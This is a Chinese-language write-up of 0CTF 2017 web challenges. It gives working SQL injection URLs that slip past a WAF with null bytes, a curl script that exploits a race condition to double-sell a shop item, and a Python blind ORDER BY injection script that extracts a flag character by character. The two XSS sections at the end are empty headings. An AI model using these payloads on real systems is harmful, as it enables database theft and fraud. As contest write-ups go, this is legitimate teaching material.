0CTF 2017 Writeup

经过几次XCTF的洗礼,迎来了第一次国际大赛0CTF,每次看Scoreboard都在仰望各位dalao,再回头看看自己手头上想了一早上还没有结果的题。

这是最终的排名,我大CMU的PPP战队是没发挥好嘛。
top10

这是新手区的排名,找找sysu战队在哪儿。
sysu

Welcome - Misc

签到题。基本上就是去一个IRC聊天室,输入频道名称#0ctf2017,就能看到顶端挂着flag了。(做出了签到题好激动)

simplesqlin - Web

字面上是一个简单的SQL注入题,URL是http://202.120.7.203/index.php?id=1,参数id以GET方式传入。一般的注入尝试都失败了,原因在于这个题目使用了WAF,于是想到使用%00夹在各种SQL关键字中绕过。

首先利用union select找到SCHEMA_NAME,第二个字段中出现information_schema,news。

1
http://202.120.7.203/index.php?id=1%20and%201=0%20uni%00on%20sel%00ect%201,GROUP_CONCAT(SCHEMA_NAME),3%20fr%00om%20information_schema.SCHEMATA

通过news找到TABLE_NAME,第二个字段出现flag, news,说明flag藏在flag表中。

1
http://202.120.7.203/index.php?id=1%20and%201=0%20uni%00on%20sel%00ect%201,GROUP_CONCAT(TABLE_NAME),3%20fr%00om%20information_schema.TABLES%20whe%00re%20TABLE_SCHEMA=%27news%27

最后得到flag。

1
http://202.120.7.203/index.php?id=1%20and%201=0%20uni%00on%20sel%00ect%201,flag,3%20fr%00om%20flag

simplesqlin

Temmo’s Tiny Shop - Web

比赛的时候知道要买到hint才能进行下一步,但是普通账户注册完一进去只有4000块,而hint却要8000块,很尴尬。原来是要用到race condition才能刷钱买hint,刷钱脚本如下。原理在于后台对于买卖请求只会按照cookie进行标识,如果使用不同的cookie同时卖出一个物品的时候,请求就会顺利通过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash
username="ian"
password="123"
cookie1="PHPSESSID=gseqg01fg54is7nh733lch3eu1"
cookie2="PHPSESSID=r18k5gc0mvu94urgd04k8hgbl7"
url="http://202.120.7.197/app.php"
curl "$url?action=login" -b $cookie1 -d "username=$username&pwd=$password" &\
curl "$url?action=login" -b $cookie2 -d "username=$username&pwd=$password"
curl "$url?action=buy&id=1" -b $cookie1
curl "$url?action=sale&id=1" -b $cookie1 &\
curl "$url?action=sale&id=1" -b $cookie2

执行之后账户里会变成8000块钱,顺利买到hint。

1
OK! Now I will give some hint: you can get flag by use `select flag from ce63e444b0d049e9c899c9a0336b3c59`

hint为select flag from ce63e444b0d049e9c899c9a0336b3c59

怀疑orderby存在注入点。首先在商店里买两样东西,点search按钮,使用Burp Suite拦截数据包并更改GET请求中的order参数,具体思路是一个个匹配flag的字符,如果匹配到那么就以price排序,否则以name排序。

这里试验第一个字符是否为0,果然返回的商品以name排序。

1
/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x00),price,name)

再次试验第一个字符是否为f,返回的商品以price排序。

1
/app.php?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),1,1)like(0x66),price,name)

因此,最终脚本如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = "http://202.120.7.197/"
cookie = {'PHPSESSID': 'qlqmjbq7uglcr0onm1lmm4ndg4'}
r=requests.get(url+'app.php?action=search&keyword=&order=if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),3))like(0x2562)),name,price)', cookies=cookie)
err = r.text
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
def check(payload):
cookie = {'PHPSESSID': 'qlqmjbq7uglcr0onm1lmm4ndg4'}
r=requests.get(url+'app.php?action=search&keyword=&order='+payload, cookies=cookie)
return r.text
flag = ""
for m in range(1,35):
for i in s:
payload = "if((select(left((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%s))like(0x25%s)),name,price)" % (str(m), hex(ord(i))[2:])
if check(payload) != err:
flag +=i
print flag
break

最后得到flag。

temmo

KoG - Web

这道题主要考察调试JS的能力。打开页面源码,可以发现这样一段JS代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<script type="text/javascript">
function GetUrlParms()
{
var args=new Object();
var query=location.search.substring(1);
var pairs=query.split("&");
for(var i=0;i<pairs.length;i++)
{
var pos=pairs[i].indexOf('=');
if(pos==-1) continue;
var argname=pairs[i].substring(0,pos);
var value=pairs[i].substring(pos+1);
args[argname]=unescape(value);
}
return args;
}
function go()
{
args = GetUrlParms();
if(args["id"]!=undefined)
{
var value = args["id"];
var ar = Module.main(value).split("|");
if(ar.length==3)
{
var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
$(document).ready(function(){
content=$.ajax({url:s, async:false});
$("#output").html(content.responseText);
});
}
if((ar.length==1)&(ar[0]=='WrongBoy'))
{
alert('Hello Hacker~');
}
}
}
var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);
</script>

可以以GET方式注入的参数是id。开两个网页进行比较,一个使用?id=1,一个使用?id=1 or 1=1,打开chrome开发者工具的JS单步调试器,发现在functionn.js的第7633行,如果存在非正常输入则变量13会为false,导致返回的ar参数只有’WrongBoy’。直接改JS代码令变量13为true绕过。

kogjs

第二处不同在第7699行,如果存在非正常输入,即使已经改过了变量13,label也会变为12,正常输入的label为0。直接改JS代码令判断失效绕过。

kogjs2

之后就是一般流程的SQL注入,发现有0ctf的schema。

1
http://202.120.7.213:11181/?id=1%20and%201=0%20union%20select%201,GROUP_CONCAT(SCHEMA_NAME)%20from%20information_schema.SCHEMATA

之后查到table名为fl4g,列名为hey。

1
http://202.120.7.213:11181/?id=1%20and%201=0%20union%20select%201,GROUP_CONCAT(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=%270ctf%27
1
http://202.120.7.213:11181/?id=1%20and%201=0%20union%20select%201,GROUP_CONCAT(COLUMN_NAME)%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=%27fl4g%27

最后查到flag。

1
http://202.120.7.213:11181/?id=1%20and%201=0%20union%20select%201,hey%20from%20fl4g

kog

complicated XSS - Web

simpleXSS - Web